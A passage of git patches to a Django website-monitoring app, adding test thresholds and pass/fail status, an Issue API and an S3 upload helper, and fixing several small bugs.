             site.info['latest_test']['time_completed'] = str(test.time_completed)
             site.info['latest_test']['score'] = site_avg_test_score
+            site.info['latest_test']['status'] = test.status
             site.save()
 
         # returning updated site
@@ -559,6 +673,7 @@ def update_page_info(self, test: object) -> object:
         page.info['latest_test']['time_created'] = str(test.time_created)
         page.info['latest_test']['time_completed'] = str(test.time_completed)
         page.info['latest_test']['score'] = (round(test.score * 100) / 100)
+        page.info['latest_test']['status'] = test.status
         page.save()
 
         # return updated page
@@ -567,6 +682,36 @@ def update_page_info(self, test: object) -> object:
 
 
 
+    def save_data_to_s3(self, _data: dict) -> str:
+        # Saves passed data as an s3 object and 
+        # returns the remote uri as a str
+
+        # save _data s3 json file
+        file_id = uuid.uuid4()
+        with open(f'{file_id}.json', 'w') as fp:
+            json.dump(_data, fp)
+        
+        # upload to s3 and return url
+        data_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
+        remote_path = f'static/sites/{self.test.site.id}/{self.test.page.id}/{self.test.id}/{file_id}.json'
+        root_path = settings.AWS_S3_URL_PATH
+        data_file_uri = f"{root_path}/{remote_path}"
+    
+        # upload to s3
+        with open(data_file, 'rb') as data:
+            self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
+            )
+
+        # remove local copy
+        os.remove(data_file) 
+
+        # return uri
+        return data_file_uri
+
+
+
+
     def run_test(self, index: int=None) -> object:
         """ 
         Runs all the test components specified in the `Test`
@@ -636,25 +781,8 @@ def run_test(self, index: int=None) -> object:
                     "post_micro_delta": delta_html_data['post_micro_delta'],
                 }
 
-                # save html_delta s3 json file
-                file_id = uuid.uuid4()
-                with open(f'{file_id}.json', 'w') as fp:
-                    json.dump(html_delta_context, fp)
-                
-                # upload to s3 and return url
-                html_delta_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
-                remote_path = f'static/sites/{self.test.site.id}/{self.test.page.id}/{self.test.id}/{file_id}.json'
-                root_path = settings.AWS_S3_URL_PATH
-                html_delta_uri = f"{root_path}/{remote_path}"
-            
-                # upload to s3
-                with open(html_delta_file, 'rb') as data:
-                    self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
-                    )
-                # remove local copy
-                os.remove(html_delta_file)
-
+                # save and get s3 object uri
+                html_delta_uri = self.save_data_to_s3(_data=html_delta_context)
                 print(f'html_delta => {html_delta_uri}')
 
             except Exception as e:
@@ -682,31 +810,35 @@ def run_test(self, index: int=None) -> object:
 
         # testing LH
         if 'lighthouse' in self.test.type or 'full' in self.test.type:
-            try:
-                # scores & data
-                lighthouse_data = self.delta_lighthouse()
-                lighthouse_avg = lighthouse_data['scores']['average_delta']
-                if lighthouse_avg != None and lighthouse_avg > -100:
-                    lighthouse_score = (100 + lighthouse_avg)/100
-                if lighthouse_avg != None and lighthouse_avg <= -100:
-                    lighthouse_score = 0
-
-                # weights
-                if lighthouse_score == None:
-                    delta_lh_w = 0
-                elif lighthouse_score > 1:
-                    delta_lh_w = 1
-                    lighthouse_score = 1
-                else:
-                    delta_lh_w = 1
-            except Exception as e:
-                print(e)
+            # try:
+            # scores & data
+            lighthouse_data = self.delta_lighthouse()
+            lh_audits_uri = self.get_lh_audits_deltas(scores=lighthouse_data['scores'])
+            lighthouse_data['audits'] = lh_audits_uri
+            lighthouse_avg = lighthouse_data['scores']['average_delta']
+            if lighthouse_avg != None and lighthouse_avg > -100:
+                lighthouse_score = (100 + lighthouse_avg)/100
+            if lighthouse_avg != None and lighthouse_avg <= -100:
+                lighthouse_score = 0
+
+            # weights
+            if lighthouse_score == None:
+                delta_lh_w = 0
+            elif lighthouse_score > 1:
+                delta_lh_w = 1
+                lighthouse_score = 1
+            else:
+                delta_lh_w = 1
+            # except Exception as e:
+            #     print(e)
 
         # testing YL
         if 'yellowlab' in self.test.type or 'full' in self.test.type:
             try:
                 # scores & data
                 yellowlab_data = self.delta_yellowlab()
+                yl_audits_uri = self.get_yl_audits_deltas(scores=yellowlab_data['scores'])
+                yellowlab_data['audits'] = lh_audits_uri
                 yellowlab_avg = yellowlab_data['scores']['average_delta']
                 if yellowlab_avg != None and yellowlab_avg > -100:
                     yellowlab_score = (100 + yellowlab_avg)/100
@@ -772,6 +904,7 @@ def run_test(self, index: int=None) -> object:
         self.test.yellowlab_delta = yellowlab_data
         self.test.images_delta = images_data
         self.test.score = score
+        self.test.status = 'passed' if score >= self.test.threshold else 'failed'
         self.test.component_scores['html'] = (micro_diff_score * 100)
         self.test.component_scores['logs'] = (num_logs_ratio * 100)
         self.test.component_scores['lighthouse'] = (lighthouse_score * 100)
@@ -783,6 +916,11 @@ def run_test(self, index: int=None) -> object:
         self.update_page_info(self.test)
         self.update_site_info(self.test)
 
+        # create issue if failed
+        if self.test.status == 'failed':
+            print('generating new Issue...')
+            Issuer(test=self.test).build_issue()
+
         # returning updated test
         return self.test
 
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index e1b7cad1..a5f10e5f 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -121,8 +121,8 @@ class Meta:
         model = Test
         fields = ['id', 'site', 'page', 'time_created', 'time_completed',
         'pre_scan', 'post_scan', 'score', 'html_delta', 'logs_delta',
-        'lighthouse_delta', 'yellowlab_delta', 'images_delta', 'type',
-        'tags', 'pre_scan_configs', 'post_scan_configs', 'component_scores',
+        'lighthouse_delta', 'yellowlab_delta', 'images_delta', 'type', 'threshold',
+        'tags', 'pre_scan_configs', 'post_scan_configs', 'component_scores', 'status',
         ]
 
 
@@ -139,7 +139,7 @@ class Meta:
         model = Test
         fields = ['id', 'site', 'page', 'time_created', 'time_completed',
         'pre_scan', 'post_scan', 'score', 'lighthouse_delta', 
-        'yellowlab_delta', 'tags', 'component_scores', 
+        'yellowlab_delta', 'tags', 'component_scores', 'threshold', 'status',
         ]
 
 
@@ -240,4 +240,15 @@ class Meta:
 
 
 
-        
\ No newline at end of file
+class IssueSerializer(serializers.HyperlinkedModelSerializer):
+    id = serializers.PrimaryKeyRelatedField(**kwargs)
+    account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs)
+
+    class Meta:
+        model = Issue
+        fields = ['id', 'time_created', 'trigger', 'account', 'title',
+        'details', 'status', 'affected', 'labels'
+        ]
+
+
+
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 376578cb..28f6e953 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -111,6 +111,7 @@ def check_account_and_resource(
     scan_id = kwargs.get('scan_id')
     case_id = kwargs.get('case_id')
     testcase_id = kwargs.get('testcase_id')
+    issue_id = kwargs.get('issue_id')
     schedule_id = kwargs.get('schedule_id')
     automation_id = kwargs.get('automation_id')
     process_id = kwargs.get('process_id')
@@ -168,7 +169,7 @@ def check_account_and_resource(
                     _status = status.HTTP_404_NOT_FOUND
                     code = '404'
             if page_url:
-                if not Page.objects.filter(page_url=page_url, account=account).exists():
+                if Page.objects.filter(page_url=page_url, account=account).exists():
                     allowed = False
                     error = 'page already exists'
                     _status = status.HTTP_409_CONFLICT
@@ -287,6 +288,27 @@ def check_account_and_resource(
                     _status = status.HTTP_404_NOT_FOUND
                     code = '404'
         
+        # checking issues
+        if resource == 'issue':
+            if issue_id:
+                if not Issue.objects.filter(id=issue_id, account=account).exists():
+                    allowed = False
+                    error = 'issue not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+            if site_id:
+                if not Site.objects.filter(id=site_id, account=account).exists():
+                    allowed = False
+                    error = 'site not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+            if page_id:
+                if not Page.objects.filter(id=page_id, account=account).exists():
+                    allowed = False
+                    error = 'page not found'
+                    _status = status.HTTP_404_NOT_FOUND
+                    code = '404'
+        
         # checking scans
         if resource == 'scan':
             if scan_id:
@@ -486,7 +508,7 @@ def create_site(request: object, delay: bool=False) -> object:
                 scan = Scan.objects.create(
                     site=site,
                     page=page, 
-                    type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                    type=settings.TYPES,
                     configs=configs
                 )
                 # run each scan component
@@ -830,7 +852,7 @@ def create_page(request: object, delay: bool=False) -> object:
         scan = Scan.objects.create(
             site=site,
             page=page, 
-            type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+            type=settings.TYPES,
             configs=configs
         )
         page.info["latest_scan"]["id"] = str(scan.id)
@@ -846,7 +868,7 @@ def create_page(request: object, delay: bool=False) -> object:
             scan = Scan.objects.create(
                 site=site,
                 page=page, 
-                type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                type=settings.TYPES,
                 configs=configs
             )
             # run each scan component
@@ -942,7 +964,7 @@ def create_many_pages(request: object, obj_response: bool=False) -> object:
                 scan = Scan.objects.create(
                     site=site,
                     page=page, 
-                    type=['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'],
+                    type=settings.TYPES,
                     configs=configs
                 )
                 
@@ -1224,7 +1246,7 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
         site_id = request.data.get('site_id')
         page_id = request.data.get('page_id')
         configs = request.data.get('configs', settings.CONFIGS)
-        types = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+        types = request.data.get('type', settings.TYPES)
         tags = request.data.get('tags')
         user = request.user
     
@@ -1233,7 +1255,7 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
         site_id = kwargs.get('site_id')
         page_id = kwargs.get('page_id')
         configs = kwargs.get('configs', settings.CONFIGS)
-        types = kwargs.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+        types = kwargs.get('type', settings.TYPES)
         tags = kwargs.get('tags')
         user_id = kwargs.get('user_id')
         user = User.objects.get(id=user_id)
@@ -1243,7 +1265,7 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
 
     # verifying types
     if len(types) == 0:
-        types = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
+        types = settings.TYPES
 
     # deciding on scope
     resource = 'site' if site_id else 'page'
@@ -1344,7 +1366,7 @@ def create_many_scans(request: object) -> object:
     site_ids = request.data.get('site_ids')
     page_ids = request.data.get('page_ids')
     configs = request.data.get('configs', settings.CONFIGS)
-    types = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+    types = request.data.get('type', settings.TYPES)
     tags = request.data.get('tags')
     user = request.user
 
@@ -1708,10 +1730,11 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
     # get data from request
     if request is not None:
         configs = request.data.get('configs', settings.CONFIGS)
+        threshold = request.data.get('threshold', settings.TEST_THRESHOLD)
         pre_scan_id = request.data.get('pre_scan')
         post_scan_id = request.data.get('post_scan')
         index = request.data.get('index')
-        test_type = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+        test_type = request.data.get('type', settings.TYPES)
         tags = request.data.get('tags')
         pre_scan = None
         post_scan = None
@@ -1722,10 +1745,11 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
     # get data from kwargs
     if request is None:
         configs = kwargs.get('configs', settings.CONFIGS)
+        threshold = kwargs.get('threshold', settings.TEST_THRESHOLD)
         pre_scan_id = kwargs.get('pre_scan')
         post_scan_id = kwargs.get('post_scan')
         index = kwargs.get('index')
-        test_type = kwargs.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+        test_type = kwargs.get('type', settings.TYPES)
         tags = kwargs.get('tags')
         pre_scan = None
         post_scan = None
@@ -1739,7 +1763,7 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
 
     # verifying test_type
     if len(test_type) == 0:
-        test_type = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
+        test_type = settings.TYPES
 
     # deciding on scope
     resource = 'site' if site_id else 'page'
@@ -1835,6 +1859,8 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
             page=p,
             type=test_type,
             tags=tags,
+            threshold=threshold,
+            status='working',
         )
 
         # add test.id to list
@@ -1920,7 +1946,8 @@ def create_many_tests(request: object) -> object:
     site_ids = request.data.get('site_ids')
     page_ids = request.data.get('page_ids')
     configs = request.data.get('configs', settings.CONFIGS)
-    types = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+    threshold = request.data.get('threshold', settings.TEST_THRESHOLD)
+    types = request.data.get('type', settings.TYPES)
     tags = request.data.get('tags')
     user = request.user
 
@@ -1937,6 +1964,7 @@ def create_many_tests(request: object) -> object:
             data = {
                 'site_id': str(id), 
                 'configs': configs,
+                'threshold': threshold,
                 'type': types,
                 'tags': tags,
                 'user_id': str(user.id)
@@ -1964,6 +1992,7 @@ def create_many_tests(request: object) -> object:
             data = {
                 'page_id': str(id), 
                 'configs': configs,
+                'threshold': threshold,
                 'type': types,
                 'tags': tags,
                 'user_id': str(user.id)
@@ -2274,6 +2303,244 @@ def delete_many_tests(request: object) -> object:
 
 
 
+### ------ Begin Issue Services ------ ###
+
+
+
+def create_or_update_issue(request: object=None, **kwargs) -> object:
+    """ 
+    Creates or Updates an `Issue` 
+
+    Expects: {
+        'request': object
+        'kwargs': dict
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    if request is not None:
+        id = request.data.get('id')
+        trigger = request.data.get('trigger')
+        title = request.data.get('title')
+        details = request.data.get('details')
+        status = request.data.get('status')
+        affected = request.data.get('affected')
+        labels = request.data.get('labels')
+        account = Member.objects.get(user=request.user).account
+    
+    # get kwargs data
+    if request is None:
+        id = kwargs.get('id')
+        trigger = kwargs.get('trigger')
+        title = kwargs.get('title')
+        details = kwargs.get('details')
+        status = kwargs.get('status')
+        affected = kwargs.get('affected')
+        labels = kwargs.get('labels')
+        account_id = kwargs.get('account_id')
+        account = Account.objects.get(id=account_id)
+
+    # get Issue if id is present
+    if id is not None:
+        issue = Issue.objects.get(id=id)
+        
+        # update data
+        if trigger is not None:
+            issue.trigger = trigger
+        if title is not None:
+            issue.title = title
+        if details is not None:
+            issue.details = details
+        if status is not None:
+            issue.status = status
+        if affected is not None:
+            issue.affected = affected
+        if labels is not None:
+            issue.labels = labels
+        
+        # save new data
+        issue.save()
+
+    # create new Issue
+    if id is None:
+        issue = Issue.objects.create(
+            account  = account,
+            title    = title,
+            details  = details,
+            labels   = labels, 
+            trigger  = trigger,
+            affected = affected
+        )
+    
+    # decide on response type
+    if request is not None:
+        # serialize and return
+        serializer_context = {'request': request,}
+        serialized = IssueSerializer(issue, context=serializer_context)
+        data = serialized.data
+        record_api_call(request, data, '200')
+        return Response(data, status=status.HTTP_200_OK)
+    
+    # return object response
+    return issue
+
+
+
+
+def get_issues(request: object) -> object:
+    """ 
+    Get one or more `Issues`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    issue_id = request.query_params.get('issue_id')
+    site_id = request.query_params.get('site_id')
+    page_id = request.query_params.get('page_id')
+    account = Member.objects.get(user=request.user).account
+    issues = None
+    
+    # deciding on scope
+    resource = 'issue'
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=request.user, resource=resource, page_id=page_id, site_id=site_id,
+        issue_id=issue_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get single issue
+    if issue_id != None:
+        
+        # get test
+        issue = Issue.objects.get(id=issue_id)
+
+        # serialize and return
+        serializer_context = {'request': request,}
+        serialized = IssueSerializer(issue, context=serializer_context)
+        data = serialized.data
+        record_api_call(request, data, '200')
+        return Response(data, status=status.HTTP_200_OK)
+
+    # get all issues scoped page if page_id passed
+    if page_id is not None:
+        issues = Issues.objects.filter(
+            affected__icontains={'id': page_id}, 
+            account=account
+        ).order_by('-time_created')
+    
+    # get all issues scoped page if page_id passed
+    if site_id is not None:
+        issues = Issues.objects.filter(
+            affected__icontains={'id': site_id}, 
+            account=account
+        ).order_by('-time_created')
+    
+    # get all account assocoiated issues
+    if issues is None:
+        issues = Issues.objects.filter(
+            account=account
+        ).order_by('-time_created')
+
+    # serialize and return
+    paginator = LimitOffsetPagination()
+    result_page = paginator.paginate_queryset(issues, request)
+    serializer_context = {'request': request,}
+    serialized = IssueSerializer(result_page, many=True, context=serializer_context)
+    response = paginator.get_paginated_response(serialized.data)
+    record_api_call(request, response.data, '200')
+    return response
+
+
+
+
+def get_issue(request: object, id: str) -> object:
+    """
+    Get single `Issue` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+        issue_id=id, resource='issue'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get issue if checks passed
+    issue = Issue.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = IssueSerializer(issue, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def delete_issue(request: object, id: str) -> object:
+    """ 
+    Deletes the `Issue` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account info
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource
+    check_data = check_account_and_resource(request=request, issue_id=id, resource='issue')
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get issue if checks passed
+    issue = Issue.objects.get(id=id)
+
+    # delete test
+    issue.delete()
+
+    # return response
+    data = {'message': 'Issue has been deleted',}
+    record_api_call(request, data, '200')
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
 ### ------ Begin Schedule Services ------ ###
 
 
@@ -2297,8 +2564,8 @@ def create_or_update_schedule(request: object) -> object:
     timezone = request.data.get('timezone')
     freq = request.data.get('frequency')
     task_type = request.data.get('task_type')
-    test_type = request.data.get('test_type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
-    scan_type = request.data.get('scan_type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+    test_type = request.data.get('test_type', settings.TYPES)
+    scan_type = request.data.get('scan_type', settings.TYPES)
     configs = request.data.get('configs', settings.CONFIGS)
     schedule_id = request.data.get('schedule_id')
     site_id = request.data.get('site_id')
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 85c28f43..30804517 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -25,16 +25,6 @@
     path('test/delay', views.TestDelay.as_view(), name='test-delay'),
     path('tests/delete', views.TestsDelete.as_view(), name='tests-delete'),
     path('tests/create', views.TestsCreate.as_view(), name='tests-create'),
-    path('log', views.Logs.as_view(), name='log'),
-    path('log/<uuid:id>', views.LogDetail.as_view(), name='log-detail'),
-    path('schedule', views.Schedules.as_view(), name='schedule'),
-    path('schedule/<uuid:id>', views.ScheduleDetail.as_view(), name='schedule-detail'),
-    path('automation', views.Automations.as_view(), name='automation'),
-    path('automation/<uuid:id>', views.AutomationDetail.as_view(), name='automation-detail'),
-    path('report', views.Reports.as_view(), name='report'),
-    path('report/<uuid:id>', views.ReportDetail.as_view(), name='report-detail'),
-    path('process', views.Processes.as_view(), name='process'),
-    path('process/<uuid:id>', views.ProcessDetail.as_view(), name='process-detail'),
     path('case', views.Cases.as_view(), name='case'),
     path('case/<uuid:id>', views.CaseDetail.as_view(), name='case-detail'),
     path('case/search', views.CasesSearch.as_view(), name='case-search'),
@@ -43,6 +33,18 @@
     path('testcase', views.Testcases.as_view(), name='testcase'),
     path('testcase/delay', views.TestcaseDelay.as_view(), name='testcase-delay'),
     path('testcase/<uuid:id>', views.TestcaseDetail.as_view(), name='testcase-detail'),
+    path('issue', views.Issues.as_view(), name='issue'),
+    path('issue/<uuid:id>', views.IssueDetail.as_view(), name='issue-detail'),
+    path('report', views.Reports.as_view(), name='report'),
+    path('report/<uuid:id>', views.ReportDetail.as_view(), name='report-detail'),
+    path('schedule', views.Schedules.as_view(), name='schedule'),
+    path('schedule/<uuid:id>', views.ScheduleDetail.as_view(), name='schedule-detail'),
+    path('automation', views.Automations.as_view(), name='automation'),
+    path('automation/<uuid:id>', views.AutomationDetail.as_view(), name='automation-detail'),
+    path('process', views.Processes.as_view(), name='process'),
+    path('process/<uuid:id>', views.ProcessDetail.as_view(), name='process-detail'),
+    path('log', views.Logs.as_view(), name='log'),
+    path('log/<uuid:id>', views.LogDetail.as_view(), name='log-detail'),
     path('metrics/home', views.HomeMetrics.as_view(), name='home-metrics'),
     path('metrics/site', views.SiteMetrics.as_view(), name='site-metrics'),
     path('metrics/celery', views.CeleryMetrics.as_view(), name='celery-metrics'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index 26eaeb45..eb5aa4f2 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -537,6 +537,41 @@ def delete(self, request, id):
 
 
 
+### ------ Begin Issue Views ------ ###
+
+
+
+
+class Issues(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post', 'get']
+
+    def post(self, request):
+        response = create_or_update_issue(request)        
+        return response
+    
+    def get(self, request):
+        response = get_issues(request)
+        return response
+
+
+
+
+class IssueDetail(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get', 'delete']
+
+    def get(self, request, id):
+        response = get_issue(request, id)
+        return response
+
+    def delete(self, request, id):
+        response = delete_issue(request, id)        
+        return response
+
+
+
+
 ### ------ Begin Log Views ------ ###
 
 
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index e18ceec5..bf47dce5 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -237,5 +237,11 @@
 }
 
 
+# Global Test.threshold
+TEST_THRESHOLD = 101
+
+
+# Global Scan & Test types
+TYPES = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
 
 
diff --git a/env/.env.dev.example b/env/.env.dev.example
index f642b2d1..e4bee11c 100644
--- a/env/.env.dev.example
+++ b/env/.env.dev.example
@@ -30,6 +30,9 @@ DB_HOST=db
 DB_NAME=app
 DB_USER=postgres
 DB_PASS=supersecretpassword
+POSTGRES_DB=app
+POSTGRES_USER=postgres
+POSTGRES_PASSWORD=supersecretpassword
 
 
 # paths
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index 4280df43..3b833128 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -160,6 +160,8 @@ kubectl port-forward service/app-service 8000:8000
    - `kubectl delete secret <sec-name>` ... may have to do this in the k8s dashboard
  - Restart both celery & app deployments for a config-map change:
    - `kubectl rollout restart deployment app-deployment celery-deployment`
+ - Get Current IPs for pods:
+   - `kubectl exec <container-id> -- curl -s http://checkip.dyndns.org/ | sed 's/[a-zA-Z<>/ :]//g'`
 
 
 

From 0b00945ff72bd86b54ec7e5a015108fc331c7b1f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 9 Jul 2024 10:53:47 -0600
Subject: [PATCH 0590/1099] fixed f string bugs

---
 app/api/utils/issuer.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index 6dda32d1..78174996 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -86,14 +86,14 @@ def build_issue(self):
             # build intro
             intro = str(
                 f'Testcase `{self.testcase.case_name}` failed on **Step {step_index}**,' + 
-                f' "{failed_step['action']['type']}".\n\n'
+                f' `{failed_step["action"]["type"]}`.\n\n'
             )
             
             # build main_issue
             main_issue = str(
                 f'### Main Issue or Exception:\n' + 
-                f' ```{failed_step['action']['exception']}``` \n\n' +
-                f' <img src="{failed_step['action']['image']}" className="max-w-3/4"/> \n\n'
+                f' ```{failed_step["action"]["exception"]}``` \n\n' +
+                f' <img src="{failed_step["action"]["image"]}" className="max-w-3/4"/> \n\n'
             )
 
             # build recommendation

From f18482c8a72792e55bb48bdd71eda543ed93a745 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 9 Jul 2024 11:13:13 -0600
Subject: [PATCH 0591/1099] fixed delete_page bug

---
 app/api/v1/ops/services.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 28f6e953..7acd2a76 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1130,6 +1130,9 @@ def delete_page(request: object, id: str) -> object:
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
+    # get page by id
+    page = Page.objects.get(id=id)
+
     # remove s3 objects
     delete_page_s3_bg.delay(page_id=id, site_id=page.site.id)
 

From ff1f096218652a06bbf55dcab4c31133b0cd5689 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 9 Jul 2024 11:20:26 -0600
Subject: [PATCH 0592/1099] updated user last_login for google and normal auth

---
 app/api/v1/auth/services.py | 14 ++++++++++++--
 1 file changed, 12 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index dc4bc5a5..b3ad24a3 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -5,6 +5,7 @@
 from django.contrib.auth.middleware import get_user
 from django.contrib.auth.password_validation import validate_password
 from django.shortcuts import get_object_or_404
+from django.utils import timezone
 from rest_framework.authtoken.models import Token
 from rest_framework.response import Response
 from rest_framework.pagination import LimitOffsetPagination
@@ -83,7 +84,8 @@ def register_user(request: object) -> object:
                 username=username,
                 email=username,
                 first_name=first_name,
-                last_name=last_name
+                last_name=last_name,
+                last_login=timezone.now()
             )
 
             # setting password
@@ -155,6 +157,9 @@ def login_user(request: object) -> object:
 
             # get API token
             api_token = Token.objects.get(user=user)
+
+            # update user last_login
+            user.last_login = timezone.now()
             
             # returning data
             data = {
@@ -295,12 +300,16 @@ def jwt_login(*, user: object) -> str:
     # setting user active
     is_active = str(user.is_active).lower()
 
+    # update user last_login
+    user.last_login = timezone.now()
+    user.save()
+
     # building params for redirect
     param_string = str(
         '?access='+str(access)+'&refresh='+str(refresh)+
         '&username='+str(user.username)+'&id='+str(user.id)+
         '&email='+str(user.email)+'&is_active='+str(is_active)+
-        '&created='+str(user.date_joined)+'&updated='+str(user.last_login)+
+        '&created='+str(user.date_joined)+'&updated='+str(timezone.now())+
         '&api_token='+str(api_token.key)
     )
 
@@ -347,6 +356,7 @@ def get_or_create_user(email: str,  **extra_fields) -> object:
     user = User.objects.create(
         username=email, 
         email=email, 
+        last_login=timezone.now(),
         **extra_fields
     )
 

From 860c7371c05605221803b681c2c388e15bf579ea Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 9 Jul 2024 12:05:26 -0600
Subject: [PATCH 0593/1099] fixed bulk page add

---
 app/api/v1/ops/services.py | 40 +++++++++++++++++++++++++++-----------
 1 file changed, 29 insertions(+), 11 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 7acd2a76..d3b25bfa 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -813,9 +813,12 @@ def create_page(request: object, delay: bool=False) -> object:
 
     # creating many pages if page_urls was passed
     if page_urls is not None:
-        data = create_many_pages(request=request, obj_response=False)
-        record_api_call(request, data, '201')
-        response = Response(data, status=status.HTTP_201_CREATED)
+        print('trying to add many pages')
+        data = create_many_pages(request=request, http_response=False)
+        _status = status.HTTP_201_CREATED
+        if data.get('reason') is not None:
+            _status = status.HTTP_402_PAYMENT_REQUIRED
+        response = Response(data, status=_status)
         return response
     
     # validating page_url
@@ -888,13 +891,13 @@ def create_page(request: object, delay: bool=False) -> object:
 
 
 
-def create_many_pages(request: object, obj_response: bool=False) -> object:
+def create_many_pages(request: object, http_response: bool=True) -> object:
     """ 
     Bulk creates `Pages` for each url passed in "page_urls"
 
     Expcets: {
         'request'       : object,
-        'obj_response'  : bool
+        'http_response'  : bool
     }
 
     Returns -> dict or HTTP Response object
@@ -922,14 +925,19 @@ def create_many_pages(request: object, obj_response: bool=False) -> object:
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
         record_api_call(request, data, check_data['code'])
-        return Response(data, status=check_data['status'])
+        if http_response:
+            return Response(data, status=check_data['status'])
+        return data
 
     # pre check for max_pages
-    if (pages.count() + len(page_urls)) >= account.max_pages:
+    if (pages.count() + len(page_urls)) > account.max_pages:
+        print('max pages aparently')
         data = {'reason': 'maximum number of pages reached',}
         record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
-
+        if http_response:
+            return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+        return data
+    
     # setting defaults
     count = len(page_urls)
     num_succeeded = 0
@@ -995,13 +1003,23 @@ def create_many_pages(request: object, obj_response: bool=False) -> object:
         'failed': failed, 
     }
 
+    # record successful API call
+    record_api_call(request, data, '201')
+
     # decide on response type
-    if obj_response:
-        record_api_call(request, data, '201')
+    if http_response:
+        print('requested http response')
+        # returning HTTP Response
         response = Response(data, status=status.HTTP_201_CREATED)
